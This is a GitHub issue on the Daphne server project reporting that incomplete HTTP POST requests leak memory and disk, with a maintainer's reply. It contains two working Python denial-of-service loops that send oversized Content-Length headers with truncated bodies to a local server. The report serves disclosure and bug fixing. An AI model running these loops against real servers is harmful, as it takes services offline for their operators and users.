django / daphne

Django Channels HTTP/WebSocket server
BSD 3-Clause "New" or "Revised" License
2.38k stars 267 forks source link

Persistent Memory and Disk leak #288

Open JohnDoee opened 4 years ago

JohnDoee commented 4 years ago

Daphne does not seem to clean up after incomplete HTTP POST requests.

Back story: Twisted handles POST requests by saving the body to either the disk or memory, depending on the expected Content-Length. Normally this would be cleaned up when the request is finished. This cleanup does not seem to happen in Daphne.

Memory leak:

import socket

while True:
  print('Sending payload')
  init_payload = b"""POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 99999\r\n\r\n"""
  pl = b'a'*99998
  s = socket.create_connection(('127.0.0.1', 8000))
  s.sendall(init_payload)
  s.sendall(pl)
  s.close()

Disk leak:

import socket

while True:
  print('Sending payload')
  init_payload = b"""POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 2000000000\r\n\r\n"""
  pl = b'a'*9999
  s = socket.create_connection(('127.0.0.1', 8000))
  s.sendall(init_payload)
  for _ in range(200000):
    s.sendall(pl)
  s.close()

My suggestion is to fix the bug and recommend not exposing a Twisted Web server directly to the internet. Even the default Twisted Web can be taken down with something like this although it requires a bit more persistence.

Side-note: I'm not sure what http_timeout does....

carltongibson commented 4 years ago

OK, so deploying behind nginx/haproxy/... is expected. But yes, OK, very happy to look at suggestions for improving clean up here.